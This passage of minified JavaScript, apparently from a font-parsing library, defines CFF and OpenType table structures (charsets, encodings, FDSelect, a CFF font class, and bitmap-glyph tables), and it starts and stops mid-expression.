K,cAAe,IAAI7/H,EAAE9kD,MAAMukL,GAAc,kBAOzC+B,GAAU,IAAIxhI,EAAErlC,MAAM,GAAI,KAAM,IAChC8mK,GAAwB,IAAIzhI,EAAEzrC,OAAO,CACvCmtK,WAAYF,GACZG,UAAWH,GACXI,SAAUJ,KAERK,GAAsB,IAAI7hI,EAAEzrC,OAAO,CACrCutK,UAAW9hI,EAAE7mC,OACb4oK,YAAa/hI,EAAE7mC,OACf6oK,iBAAkB,IAAIhiI,EAAE9kD,MAAM,IAAI8kD,EAAE9kD,MAAMumL,GAAuB,aAAc,iBAE7EQ,GAAW,IAAIjiI,EAAEzrC,OAAO,CAC1B2tK,YAAa,IAAIliI,EAAE9kD,MAAM8kD,EAAEnmC,OAAO,SAAU0Y,GAC1C,OAAOA,EAAEtd,OAAOktK,mBAElBC,aAAc,IAAIpiI,EAAE9kD,MAAM8kD,EAAErmC,MAAM,SAAU4Y,GAC1C,OAAOA,EAAEtd,OAAOotK,iBAAmB9vJ,EAAEtd,OAAOktK,mBAE9CG,OAAQ,SAASA,OAAO/vJ,GACtB,OAAOA,EAAE2vJ,YAAY7mL,OAAOk3B,EAAE6vJ,iBAG9BG,GAAoB,IAAIviI,EAAEzrC,OAAO,CACnCiuK,UAAWxiI,EAAE7mC,OACbgpK,gBAAiBniI,EAAE7mC,OACnBkpK,iBAAkBriI,EAAE7mC,OACpBspK,cAAe,IAAIziI,EAAE9kD,MAAM8kD,EAAE7mC,OAAQ,oBACrCupK,UAAW,IAAI1iI,EAAE9kD,MAAM+mL,GAAU,eAE/BU,GAAqB,IAAI3iI,EAAEzrC,OAAO,CACpCqkB,OAAQonB,EAAE7mC,OACVypK,oBAAqB,IAAI5iI,EAAEprC,QAAQorC,EAAEvmC,OAAQooK,IAC7CgB,mBAAoB7iI,EAAE7mC,OACtB2pK,kBAAmB,IAAI9iI,EAAE9kD,MAAM,IAAI8kD,EAAEprC,QAAQorC,EAAEvmC,OAAQ8oK,IAAoB,wBAMzEQ,GAAiB,IAAI/iI,EAAExrC,gBAAgBwrC,EAAE7mC,OAAQ,CACnD,GAAIu+B,EAAI,CACNsrI,UAAWhjI,EAAE7mC,QACZu+B,EAAa,UAAIsI,EAAE7mC,OAAQu+B,EAAEurI,oBAAsBzB,GAAS9pI,EAAEwrI,oBAAsB1B,GAAS9pI,KAE9FyrI,GAAe,IAAInjI,EAAEzrC,OAAO,CAC9B6uK,eAAgBpjI,EAAE7mC,OAClBkqK,eAAgB,IAAIrjI,EAAE9kD,MAAM,IAAI8kD,EAAEprC,QAAQorC,EAAEvmC,OAAQspK,IAAiB,oBAEnEO,GAAiC,IAAItjI,EAAEzrC,OAAO,CAChDgvK,aAAcvjI,EAAE7mC,OAChBqqK,sBAAuB,IAAIxjI,EAAEprC,QAAQorC,EAAEvmC,OAAQikK,GAAS,CACtD10K,KAAM,aAGNy6K,GAA2B,IAAIzjI,EAAEzrC,OAAO,CAC1CoI,QAASqjC,EAAE9kC,QACXwoK,kBAAmB1jI,EAAE7mC,OACrBwqK,cAAe,IAAI3jI,EAAE9kD,MAAMooL,GAAgC,uBAEzDM,GAAyB,IAAI5jI,EAAEzrC,OAAO,CACxCsvK,aAAc,IAAI7jI,EAAEprC,QAAQorC,EAAEvmC,OAAQ0pK,GAAc,CAClDn6K,KAAM,WAER86K,yBAA0B,IAAI9jI,EAAEprC,QAAQorC,EAAEvmC,OAAQgqK,GAA0B,CAC1Ez6K,KAAM,aAGN+6K,GAAoB,IAAI/jI,EAAEzrC,OAAO,CACnCyvK,aAAchkI,EAAE7mC,OAChB8qK,aAAcjkI,EAAE7mC,OAChB+qK,4BAA6BlkI,EAAEvmC,OAC/B0qK,wBAAyB,IAAInkI,EAAE9kD,MAAM0oL,GAAwB,iCAG3DQ,GAA4B,WAC9B,SAASA,aAAaC,EAAer7K,GACnChR,KAAKqsL,cAAgBA,EACrBrsL,KAAKgR,KAAOA,EAGd,IAAIs7K,EAAUF,aAAa9rL,UAwB3B,OAtBAgsL,EAAQvvK,OAAS,SAASA,OAAOC,EAAQC,EAAQumK,GAC/C,OAAIxjL,KAAKqsL,cAAc7I,EAAS,IACvBxjL,KAAKqsL,cAAc7I,EAAS,IAG9BxjL,KAAKgR,KAAK+L,OAAOC,EAAQC,EAAQumK,IAG1C8I,EAAQ12K,KAAO,SAASA,KAAKrT,EAAOgN,GAClC,OAAOvP,KAAKgR,KAAK4E,KAAKrT,EAAOgN,IAG/B+8K,EAAQ/uK,OAAS,SAASA,OAAOP,EAAQza,EAAOgN,GAC9C,IAAIqR,EAAQ5gB,KAAKqsL,cAAcpkL,QAAQ1F,GAEvC,OAAe,IAAXqe,EACKA,EAGF5gB,KAAKgR,KAAKuM,OAAOP,EAAQza,EAAOgN,IAGlC68K,aA9BuB,GAiC5BG,GAAkC,SAAUC,GAG9C,SAASD,qBACP,OAAOC,EAAUhnL,KAAKxF,KAAM,UAAYA,KAS1C,OAZAylK,eAAe8mB,mBAAoBC,GAMrBD,mBAAmBjsL,UAEzByc,OAAS,SAASA,OAAOC,GAC/B,OAAgC,IAAzBgrC,EAAE/mC,MAAMlE,OAAOC,IAGjBuvK,mBAb6B,CAcpCvkI,EAAEr1C,QAEA85K,GAAS,IAAIzkI,EAAEzrC,OAAO,CACxBgR,MAAOy6B,EAAE7mC,OACTurK,MAAO1kI,EAAE/mC,QAEP0rK,GAAS,IAAI3kI,EAAEzrC,OAAO,CACxBgR,MAAOy6B,EAAE7mC,OACTurK,MAAO1kI,EAAE7mC,SAaPyrK,GAAc,IAAIR,GAAa,CAACvH,GA7Vf,CAAC,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,QAAS,cAAe,oBAAqB,GAAI,iBAAkB,iBAAkB,iBAAkB,aAAc,oBAAqB,qBAAsB,iBAAkB,iBAAkB,QAAS,SAAU,SAAU,WAAY,eAAgB,cAAe,cAAe,gBAAiB,eAAgB,eAAgB,cAAe,gBAAiB,gBAAiB,eAAgB,QAAS,YAAa,gBAAiB,sBAAuB,iBAAkB,gBAAiB,GAAI,YAAa,YAAa,eAAgB,YAAa,YAAa,GAAI,GAAI,YAAa,GAAI,GAAI,YAAa,YAAa,YAAa,YAAa,GAAI,GAAI,YAAa,YAAa,YAAa,GAAI,KAAM,KAAM,KAAM,MAAO,MAAO,oBAAqB,GAAI,qBAAsB,kBAAmB,iBAAkB,aAAc,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,gBAAiB,YAAa,SAAU,aAAc,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,kBAAmB,eAAgB,cAAe,GAAI,GAAI,cAAe,cAAe,gBAAiB,aAAc,aAAc,GAAI,iBAAkB,GAAI,GAAI,cAAe,GAAI,GAAI,aAAc,iBAAkB,GAAI,GAAI,cAAe,YAAa,eAAgB,GAAI,GAAI,GAAI,aAAc,UAAW,gBAAiB,oBAAqB,YAAa,eAAgB,cAAe,eAAgB,WAAY,YAAa,GAAI,GAAI,eAAgB,cAAe,cAAe,gBAAiB,eAAgB,eAAgB,cAAe,gBAAiB,gBAAiB,eAAgB,eAAgB,cAAe,cAAe,gBAAiB,eAAgB,eAAgB,cAAe,gBAAiB,gBAAiB,eAAgB,eAAgB,iBAAkB,iBAAkB,gBAAiB,cAAe,cAAe,mBAAoB,cAAe,iBAAkB,aAAc,UAAW,gBAAiB,cAAe,cAAe,mBAAoB,iBAAkB,cAAe,cAAe,mBAAoB,iBAAkB,WAAY,cAAe,cAAe,cAAe,mBAAoB,cAAe,iBAAkB,UAAW,cAAe,cAAe,cAAe,mBAAoB,iBAAkB,cAAe,aAAc,mBA6VtnF,IAAIR,GAXnD,IAAIr8H,EAAExrC,gBAAgB,IAAI+vK,GAAsB,CACtE,EAAG,CACDM,OAAQ7kI,EAAE/mC,MACVvgB,MAAO,IAAIsnD,EAAE9kD,MAAM8kD,EAAE/mC,MAAO,WAE9B,EAAG,CACD6rK,QAAS9kI,EAAE/mC,MACX8rK,OAAQ,IAAI/kI,EAAE9kD,MAAMupL,GAAQ,cAIyE,CACvGjpK,MAAM,KAIJwpK,GAA0B,SAAUC,GAGtC,SAASD,aACP,OAAOC,EAAS7pL,MAAMpD,KAAM+C,YAAc/C,KAoB5C,OAvBAylK,eAAeunB,WAAYC,GAMbD,WAAW1sL,UAEjByc,OAAS,SAASA,OAAOC,EAAQC,GAKvC,IAJA,IAAIja,EAASyZ,EAAMS,cAAcld,KAAKgD,OAAQga,EAAQC,GAClD5P,EAAQ,EACRb,EAAM,GAEHa,EAAQrK,GAAQ,CACrB,IAAIwtB,EAAQxwB,KAAKgR,KAAK+L,OAAOC,EAAQC,GACrCuT,EAAM/a,OAASpI,EACfA,GAASmjB,EAAMk8J,MAAQ,EACvBlgL,EAAIlH,KAAKkrB,GAGX,OAAOhkB,GAGFwgL,WAxBqB,CAyB5BhlI,EAAE9kD,OAEAgqL,GAAmB,IAAIllI,EAAExrC,gBAAgBwrC,EAAE/mC,MAAO,CACpD,EAAG,CACDihD,OAAQ,IAAIla,EAAE9kD,MAAM8kD,EAAE7mC,QAAQ,SAAUoZ,GACtC,OAAOA,EAAEtd,OAAOkwK,YAAYnqL,OAAS,MAGzC,EAAG,CACD+pL,OAAQ,IAAIC,GAAWP,IAAQ,SAAUlyJ,GACvC,OAAOA,EAAEtd,OAAOkwK,YAAYnqL,OAAS,MAGzC,EAAG,CACD+pL,OAAQ,IAAIC,GAAWL,IAAQ,SAAUpyJ,GACvC,OAAOA,EAAEtd,OAAOkwK,YAAYnqL,OAAS,QAIvCoqL,GAAa,IAAIhB,GAAa,CAACtH,GA5Yf,CAAC,UAAW,QAAS,cAAe,oBAAqB,iBAAkB,iBAAkB,iBAAkB,aAAc,oBAAqB,qBAAsB,iBAAkB,iBAAkB,QAAS,SAAU,SAAU,WAAY,eAAgB,cAAe,cAAe,gBAAiB,eAAgB,eAAgB,cAAe,gBAAiB,gBAAiB,eAAgB,QAAS,YAAa,gBAAiB,sBAAuB,iBAAkB,gBAAiB,YAAa,YAAa,eAAgB,YAAa,YAAa,YAAa,YAAa,YAAa,YAAa,YAAa,YAAa,YAAa,YAAa,KAAM,KAAM,KAAM,MAAO,MAAO,oBAAqB,qBAAsB,kBAAmB,iBAAkB,aAAc,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,SAAU,gBAAiB,YAAa,SAAU,aAAc,kBAAmB,eAAgB,cAAe,cAAe,cAAe,gBAAiB,aAAc,aAAc,iBAAkB,cAAe,aAAc,iBAAkB,cAAe,YAAa,eAAgB,aAAc,UAAW,gBAAiB,oBAAqB,YAAa,eAAgB,cAAe,eAAgB,WAAY,YAAa,eAAgB,cAAe,cAAe,gBAAiB,eAAgB,eAAgB,cAAe,gBAAiB,gBAAiB,eAAgB,eAAgB,cAAe,cAAe,gBAAiB,eAAgB,eAAgB,cAAe,gBAAiB,gBAAiB,eAAgB,eAAgB,iBAAkB,iBAAkB,gBAAiB,cAAe,cAAe,mBAAoB,cAAe,iBAAkB,aAAc,UAAW,gBAAiB,cAAe,cAAe,mBAAoB,iBAAkB,cAAe,cAAe,mBAAoB,iBAAkB,WAAY,cAAe,cAAe,cAAe,mBAAoB,cAAe,iBAAkB,UAAW,cAAe,cAAe,cAAe,mBAAoB,iBAAkB,cAAe,aAAc,kBACr0E,CAAC,UAAW,QAAS,iBAAkB,iBAAkB,oBAAqB,qBAAsB,iBAAkB,iBAAkB,QAAS,SAAU,SAAU,WAAY,eAAgB,cAAe,cAAe,gBAAiB,eAAgB,eAAgB,cAAe,gBAAiB,gBAAiB,eAAgB,QAAS,YAAa,gBAAiB,sBAAuB,iBAAkB,YAAa,YAAa,eAAgB,YAAa,YAAa,YAAa,YAAa,YAAa,YAAa,YAAa,YAAa,YAAa,YAAa,KAAM,KAAM,KAAM,MAAO,MAAO,oBAAqB,qBAAsB,iBAAkB,gBAAiB,YAAa,SAAU,eAAgB,aAAc,iBAAkB,aAAc,UAAW,gBAAiB,YAAa,eAAgB,cAAe,eAAgB,WAAY,YAAa,eAAgB,cAAe,cAAe,gBAAiB,eAAgB,eAAgB,cAAe,gBAAiB,gBAAiB,eAAgB,eAAgB,cAAe,cAAe,gBAAiB,eAAgB,eAAgB,cAAe,gBAAiB,gBAAiB,eAAgB,eAAgB,iBAAkB,iBAAkB,kBA2YtrC,IAAIT,GAAW6I,GAAkB,CACxH1pK,MAAM,KAEJ6pK,GAAW,IAAIrlI,EAAEzrC,OAAO,CAC1BgR,MAAOy6B,EAAE7mC,OACTmsK,GAAItlI,EAAE/mC,QAEJssK,GAAW,IAAIvlI,EAAEzrC,OAAO,CAC1BgR,MAAOy6B,EAAEvmC,OACT6rK,GAAItlI,EAAE7mC,SAEJqsK,GAAW,IAAIxlI,EAAExrC,gBAAgBwrC,EAAE/mC,MAAO,CAC5C,EAAG,CACDwsK,IAAK,IAAIzlI,EAAE9kD,MAAM8kD,EAAE/mC,OAAO,SAAUsZ,GAClC,OAAOA,EAAEtd,OAAOkwK,YAAYnqL,WAGhC,EAAG,CACD8pL,QAAS9kI,EAAE7mC,OACX4rK,OAAQ,IAAI/kI,EAAE9kD,MAAMmqL,GAAU,WAC9BK,SAAU1lI,EAAE7mC,QAEd,EAAG,CACD2rK,QAAS9kI,EAAEvmC,OACXsrK,OAAQ,IAAI/kI,EAAE9kD,MAAMqqL,GAAU,WAC9BG,SAAU1lI,EAAEvmC,UAGZ9D,GAAM,IAAI0mK,GAAWI,IAErBkJ,GAA4B,WAC9B,SAASA,gBAET,IAAIC,EAAUD,aAAartL,UAe3B,OAbAstL,EAAQ7wK,OAAS,SAASA,OAAOC,EAAQC,EAAQumK,GAE/C,OADAvmK,EAAOja,OAASwgL,EAAS,GAClB7lK,GAAIZ,OAAOC,EAAQC,EAAQ,CAACumK,EAAS,MAG9CoK,EAAQh4K,KAAO,SAASA,KAAK+tK,EAAMp0K,GACjC,MAAO,CAACk1K,GAAe7uK,KAAK+tK,EAAMp0K,GAAK,GAAQoO,GAAI/H,KAAK+tK,EAAMp0K,GAAK,KAGrEq+K,EAAQrwK,OAAS,SAASA,OAAOP,EAAQ2mK,EAAMp0K,GAC7C,MAAO,CAACk1K,GAAe7uK,KAAK+tK,EAAMp0K,GAAK,GAAQoO,GAAIJ,OAAOP,EAAQ2mK,EAAMp0K,GAAK,KAGxEo+K,aAlBuB,GAqB5BE,GAAW,IAAI5K,GAAQ,CAC3B,CAAC,GAAI,UAAW,IAAI0K,GAAgB,MAAO,CAAC,CAAC,GAAI,IAAK,WAAY,MAAO,MAAO,CAAC,CAAC,GAAI,GAAI,aAAc,QAAS,CAAC,KAAO,EAAG,EAAG,KAAO,EAAG,IAAK,CAAC,CAAC,GAAI,GAAI,YAAa,SAAU,KAC3KG,GAAa,IAAI7K,GAAQ,CAC7B,CAAC,CAAC,GAAI,IAAK,MAAO,CAAC,MAAO,MAAO,UAAW,MAAO,CAAC,EAAG,UAAW,MAAO,MAAO,CAAC,EAAG,SAAU,MAAO,MAAO,CAAC,CAAC,GAAI,GAAI,YAAa,MAAO,MAAO,CAAC,EAAG,WAAY,MAAO,MAAO,CAAC,EAAG,aAAc,MAAO,MAAO,CAAC,EAAG,SAAU,MAAO,MAAO,CAAC,CAAC,GAAI,GAAI,eAAgB,WAAW,GAAQ,CAAC,CAAC,GAAI,GAAI,cAAe,SAAU,GAAI,CAAC,CAAC,GAAI,GAAI,oBAAqB,UAAW,KAAM,CAAC,CAAC,GAAI,GAAI,qBAAsB,SAAU,IAAK,CAAC,CAAC,GAAI,GAAI,YAAa,SAAU,GAAI,CAAC,CAAC,GAAI,GAAI,iBAAkB,SAAU,GAAI,CAAC,CAAC,GAAI,GAAI,aAAc,QAAS,CAAC,KAAO,EAAG,EAAG,KAAO,EAAG,IAAK,CAAC,GAAI,WAAY,SAAU,MAAO,CAAC,EAAG,WAAY,QAAS,CAAC,EAAG,EAAG,EAAG,IAAK,CAAC,CAAC,GAAI,GAAI,cAAe,SAAU,GAAI,CAAC,GAAI,OAAQ,QAAS,MAAO,CAAC,GAAI,UAAWmK,GAAYtI,IAAkB,CAAC,GAAI,WAAY8H,GAAa/H,IAAmB,CAAC,GAAI,cAAe,IAAIR,GAAW,IAAI1C,IAAa,MAAO,CAAC,GAAI,UAAW,IAAIgM,GAAgB,MAAO,CAAC,CAAC,GAAI,IAAK,gBAAiB,SAAU,MAAO,CAAC,CAAC,GAAI,IAAK,aAAc,MAAO,MAAO,CAAC,CAAC,GAAI,IAAK,eAAgB,MAAO,MAAO,CAAC,CAAC,GAAI,IAAK,gBAAiB,QAAS,MAChiC,CAAC,CAAC,GAAI,IAAK,iBAAkB,SAAU,GAAI,CAAC,CAAC,GAAI,IAAK,kBAAmB,SAAU,GAAI,CAAC,CAAC,GAAI,IAAK,cAAe,SAAU,GAAI,CAAC,CAAC,GAAI,IAAK,WAAY,SAAU,MAAO,CAAC,CAAC,GAAI,IAAK,UAAW,SAAU,MAAO,CAAC,CAAC,GAAI,IAAK,WAAY,IAAItJ,GAAWmJ,IAAW,MAAO,CAAC,CAAC,GAAI,IAAK,UAAW,IAAInJ,GAAW,IAAI1C,GAASkM,KAAY,MAAO,CAAC,CAAC,GAAI,IAAK,WAAY,MAAO,QACrWE,GAAiB,IAAI/lI,EAAEzrC,OAAO,CAChCvZ,OAAQglD,EAAE7mC,OACV6sK,mBAAoBrD,KAElBsD,GAAc,IAAIhL,GAAQ,CAAC,CAAC,CAAC,GAAI,GAAI,aAAc,QAAS,CAAC,KAAO,EAAG,EAAG,KAAO,EAAG,IAAK,CAAC,GAAI,cAAe,IAAIoB,GAAW,IAAI1C,IAAa,MAAO,CAAC,CAAC,GAAI,IAAK,WAAY,IAAI0C,GAAWmJ,IAAW,MAAO,CAAC,CAAC,GAAI,IAAK,UAAW,IAAInJ,GAAW,IAAI1C,GAASkM,KAAY,MAAO,CAAC,GAAI,SAAU,IAAIxJ,GAAW0J,IAAiB,MAAO,CAAC,GAAI,WAAY,SAAU,OAClWG,GAAS,IAAIlmI,EAAExrC,gBAAgBwrC,EAAEjlC,QAAS,CAC5C,EAAG,CACD++J,QAAS95H,EAAE/mC,MACX8gK,QAAS/5H,EAAE/mC,MACXktK,UAAW,IAAIxM,GAAS,IAAI35H,EAAEx5C,OAAO,WACrC4/K,aAAc,IAAIzM,GAASmM,IAC3BO,YAAa,IAAI1M,GAAS,IAAI35H,EAAEx5C,OAAO,WACvC8/K,gBAAiB,IAAI3M,IAEvB,EAAG,CACDG,QAAS95H,EAAE/mC,MACXje,OAAQglD,EAAE7mC,OACVotK,QAASN,GACTK,gBAAiB,IAAI3M,MAIrB6M,GAAuB,WACzB,SAASA,QAAQxxK,GACfhd,KAAKgd,OAASA,EACdhd,KAAK+c,SAGPyxK,QAAQzxK,OAAS,SAASA,OAAOC,GAC/B,OAAO,IAAIwxK,QAAQxxK,IAGrB,IAAIyxK,EAAUD,QAAQluL,UA0JtB,OAxJAmuL,EAAQ1xK,OAAS,SAASA,SACZ/c,KAAKgd,OAAOhV,IAAxB,IACIm5C,EAAM+sI,GAAOnxK,OAAO/c,KAAKgd,QAE7B,IAAK,IAAIjY,KAAOo8C,EAAK,CACnB,IAAIx1C,EAAMw1C,EAAIp8C,GACd/E,KAAK+E,GAAO4G,EAGd,GAAI3L,KAAK2kB,QAAU,EAAG,CACpB,GAAiC,IAA7B3kB,KAAKouL,aAAaprL,OACpB,MAAM,IAAIb,MAAM,wCAGlBnC,KAAKuuL,QAAUvuL,KAAKouL,aAAa,GAInC,OADApuL,KAAK0uL,UAAgC,MAApB1uL,KAAKuuL,QAAQI,IACvB3uL,MAGTyuL,EAAQpuK,OAAS,SAASA,OAAOuuK,GAC/B,OAAI5uL,KAAK2kB,SAAW,EACX,KAGLiqK,EAAMhK,GAAgB5hL,OACjB4hL,GAAgBgK,GAGlB5uL,KAAKquL,YAAYO,EAAMhK,GAAgB5hL,SAGhDyrL,EAAQI,cAAgB,SAASA,cAAcxsH,GAE7C,OADAriE,KAAKgd,OAAOhV,IAAMhI,KAAKuuL,QAAQpB,YAAY9qH,GAAO5sD,OAC3CzV,KAAKgd,OAAOe,WAAW/d,KAAKuuL,QAAQpB,YAAY9qH,GAAOr/D,SAGhEyrL,EAAQK,aAAe,SAASA,aAAalqH,GAE3C,GAAI5kE,KAAK2kB,SAAW,EAClB,OAAO,KAIT,GAAI3kB,KAAK0uL,UACP,OAAO,KAGT,IAAIK,EAAU/uL,KAAKuuL,QAAQQ,QAE3B,GAAI7rL,MAAMuN,QAAQs+K,GAChB,OAAOA,EAAQnqH,GAGjB,GAAY,IAARA,EACF,MAAO,UAKT,OAFAA,GAAO,EAECmqH,EAAQpqK,SACd,KAAK,EACH,OAAO3kB,KAAKqgB,OAAO0uK,EAAQ7sH,OAAO0C,IAEpC,KAAK,EACL,KAAK,EACH,IAAK,IAAI9kE,EAAI,EAAGA,EAAIivL,EAAQhC,OAAO/pL,OAAQlD,IAAK,CAC9C,IAAI0wB,EAAQu+J,EAAQhC,OAAOjtL,GAE3B,GAAI0wB,EAAM/a,QAAUmvD,GAAOA,GAAOp0C,EAAM/a,OAAS+a,EAAMk8J,MACrD,OAAO1sL,KAAKqgB,OAAOmQ,EAAMjD,OAASq3C,EAAMp0C,EAAM/a,UAOtD,OAAO,MAGTg5K,EAAQO,WAAa,SAASA,WAAWpqH,GACvC,IAAK5kE,KAAKuuL,QAAQf,SAChB,OAAO,KAGT,OAAQxtL,KAAKuuL,QAAQf,SAAS7oK,SAC5B,KAAK,EACH,OAAO3kB,KAAKuuL,QAAQf,SAASC,IAAI7oH,GAEnC,KAAK,EACL,KAAK,EAKH,IAJA,IAAImoH,EAAS/sL,KAAKuuL,QAAQf,SAAST,OAC/B36I,EAAM,EACND,EAAO46I,EAAO/pL,OAAS,EAEpBovC,GAAOD,GAAM,CAClB,IAAI21G,EAAM11G,EAAMD,GAAQ,EAExB,GAAIyyB,EAAMmoH,EAAOjlC,GAAKv6H,MACpB4kB,EAAO21G,EAAM,MACR,MAAIA,EAAM31G,GAAQyyB,GAAOmoH,EAAOjlC,EAAM,GAAGv6H,OAG9C,OAAOw/J,EAAOjlC,GAAKwlC,GAFnBl7I,EAAM01G,EAAM,GAMlB,QACE,MAAM,IAAI3lJ,MAAM,6BAA6BkB,OAAOrD,KAAKuuL,QAAQf,SAAS7oK,YAIhF8pK,EAAQQ,oBAAsB,SAASA,oBAAoBrqH,GACzD,GAAI5kE,KAAKuuL,QAAQf,SAAU,CACzB,IAAIF,EAAKttL,KAAKgvL,WAAWpqH,GAEzB,OAAI5kE,KAAKuuL,QAAQW,QAAQ5B,GAChBttL,KAAKuuL,QAAQW,QAAQ5B,GAAI6B,QAG3B,KAGT,OAAInvL,KAAK2kB,QAAU,EACV3kB,KAAKuuL,QAAQY,QAGfnvL,KAAKuuL,QAAQW,QAAQ,GAAGC,SAGjCjgL,aAAas/K,QAAS,CAAC,CACrBzpL,IAAK,iBACLwE,IAAK,SAASA,MACZ,OAAIvJ,KAAK2kB,QAAU,EACV3kB,KAAKmuL,UAAU,GAGjB,OAER,CACDppL,IAAK,WACLwE,IAAK,SAASA,MACZ,OAAOvJ,KAAKqgB,OAAOrgB,KAAKuuL,QAAQa,YAEjC,CACDrqL,IAAK,aACLwE,IAAK,SAASA,MACZ,OAAOvJ,KAAKqgB,OAAOrgB,KAAKuuL,QAAQc,gBAI7Bb,QApKkB,GAuKvBc,GAAiB,IAAItnI,EAAEzrC,OAAO,CAChCgzK,WAAYvnI,EAAE7mC,OACdquK,YAAaxnI,EAAEnmC,QAEb4tK,GAAO,IAAIznI,EAAEzrC,OAAO,CACtByvK,aAAchkI,EAAE7mC,OAChB8qK,aAAcjkI,EAAE7mC,OAChBuuK,mBAAoB1nI,EAAEnmC,MACtB8tK,sBAAuB3nI,EAAE7mC,OACzBk7J,QAAS,IAAIr0H,EAAE9kD,MAAMosL,GAAgB,2BAEnCM,GAAa,IAAI5nI,EAAEzrC,OAAO,CAC5B2+B,OAAQ8M,EAAE/mC,MACVg6B,MAAO+M,EAAE/mC,MACT4uK,aAAc7nI,EAAErmC,KAChBmuK,aAAc9nI,EAAErmC,KAChBouK,YAAa/nI,EAAE/mC,MACf+uK,aAAchoI,EAAErmC,KAChBsuK,aAAcjoI,EAAErmC,KAChBuuK,YAAaloI,EAAE/mC,QAEbkvK,GAAe,IAAInoI,EAAEzrC,OAAO,CAC9B2+B,OAAQ8M,EAAE/mC,MACVg6B,MAAO+M,EAAE/mC,MACTmvK,SAAUpoI,EAAErmC,KACZ0uK,SAAUroI,EAAErmC,KACZmqD,QAAS9jB,EAAE/mC,QAETqvK,GAAgB,IAAItoI,EAAEzrC,OAAO,CAC/B8lD,MAAOra,EAAE7mC,OACT2iD,QAAS9b,EAAErmC,KACXoiD,QAAS/b,EAAErmC,OAGT4uK,GAAc,SAASA,gBAEvBC,GAAa,SAASA,eAmDtBC,IAjDQ,IAAIzoI,EAAExrC,gBAAgB,UAAW,CAC3C,EAAG,CACD6/J,QAAS8T,GACTlsK,KAAMssK,IAER,EAAG,CACDlU,QAAS8T,GACTlsK,KAAMusK,IAIR,EAAG,CACDvsK,KAAMusK,IAER,EAAG,CACDnU,QAASuT,GACT3rK,KAAMssK,IAER,EAAG,CACDlU,QAASuT,GACT3rK,KAAMusK,IAER,EAAG,CACDnU,QAAS8T,GACT3wJ,IAAK,IAAIwoB,EAAE1rC,SAAS0rC,EAAE/mC,OACtByvK,cAAe1oI,EAAE7mC,OACjBwvK,WAAY,IAAI3oI,EAAE9kD,MAAMotL,GAAe,kBAEzC,EAAG,CACDjU,QAASuT,GACTpwJ,IAAK,IAAIwoB,EAAE1rC,SAAS0rC,EAAE/mC,OACtByvK,cAAe1oI,EAAE7mC,OACjBwvK,WAAY,IAAI3oI,EAAE9kD,MAAMotL,GAAe,kBAEzC,GAAI,CACFjU,QAAS8T,GACTS,QAAS5oI,EAAEvmC,OACXwC,KAAM,IAAI+jC,EAAE7rC,OAAO,YAErB,GAAI,CACFkgK,QAASuT,GACTgB,QAAS5oI,EAAEvmC,OACXwC,KAAM,IAAI+jC,EAAE7rC,OAAO,YAErB,GAAI,CACFy0K,QAAS5oI,EAAEvmC,OACXwC,KAAM,IAAI+jC,EAAE7rC,OAAO,cAGD,IAAI6rC,EAAEzrC,OAAO,CACjCulD,SAAU9Z,EAAErmC,KACZwpD,UAAWnjB,EAAErmC,KACbkvK,SAAU7oI,EAAE/mC,MACZ6vK,oBAAqB9oI,EAAErmC,KACvBovK,sBAAuB/oI,EAAErmC,KACzBo6J,YAAa/zH,EAAErmC,KACfqvK,YAAahpI,EAAErmC,KACfsvK,aAAcjpI,EAAErmC,KAChBuvK,YAAalpI,EAAErmC,KACfwvK,WAAYnpI,EAAErmC,KACd6d,IAAK,IAAIwoB,EAAE1rC,SAAS0rC,EAAErmC,KAAM,MAE1ByvK,GAAiB,IAAIppI,EAAEzrC,OAAO,CAChC80K,UAAWrpI,EAAE7mC,OACb1L,OAAQuyC,EAAE7mC,SAERmwK,GAAgB,IAAItpI,EAAExrC,gBAAgBwrC,EAAE7mC,OAAQ,CAClD8D,OAAQ,CACNssK,YAAavpI,EAAE7mC,OACfqwK,gBAAiBxpI,EAAEvmC,QAErB,EAAG,CACDgwK,YAAa,IAAIzpI,EAAE9kD,MAAM8kD,EAAEvmC,QAAQ,SAAU8Y,GAC3C,OAAOA,EAAEtd,OAAOy0K,eAAiBn3J,EAAEtd,OAAO00K,gBAAkB,MAGhE,EAAG,CACDC,UAAW5pI,EAAEvmC,OACbowK,WAAYjC,IAEd,EAAG,CACD6B,YAAa,IAAIzpI,EAAE9kD,MAAM8kD,EAAE7mC,QAAQ,SAAUoZ,GAC3C,OAAOA,EAAEtd,OAAOy0K,eAAiBn3J,EAAEtd,OAAO00K,gBAAkB,MAGhE,EAAG,CACDnV,UAAWx0H,EAAEvmC,OACbqwK,WAAY,IAAI9pI,EAAE9kD,MAAMkuL,IAAgB,SAAU72J,GAChD,OAAOA,EAAEiiJ,UAAY,MAGzB,EAAG,CACDoV,UAAW5pI,EAAEvmC,OACbowK,WAAYjC,GACZpT,UAAWx0H,EAAEvmC,OACbswK,eAAgB,IAAI/pI,EAAE9kD,MAAM8kD,EAAE7mC,OAAQ,gBAGtC6wK,GAAqB,IAAIhqI,EAAEzrC,OAAO,CACpCo1K,gBAAiB3pI,EAAE7mC,OACnBuwK,eAAgB1pI,EAAE7mC,OAClBgoI,SAAU,IAAInhG,EAAEprC,QAAQorC,EAAEvmC,OAAQ6vK,MAEhCW,GAAkB,IAAIjqI,EAAEzrC,OAAO,CACjC21K,mBAAoB,IAAIlqI,EAAEprC,QAAQorC,EAAEvmC,OAAQ,IAAIumC,EAAE9kD,MAAM8uL,GAAoB,GAAI,CAC9EhhL,KAAM,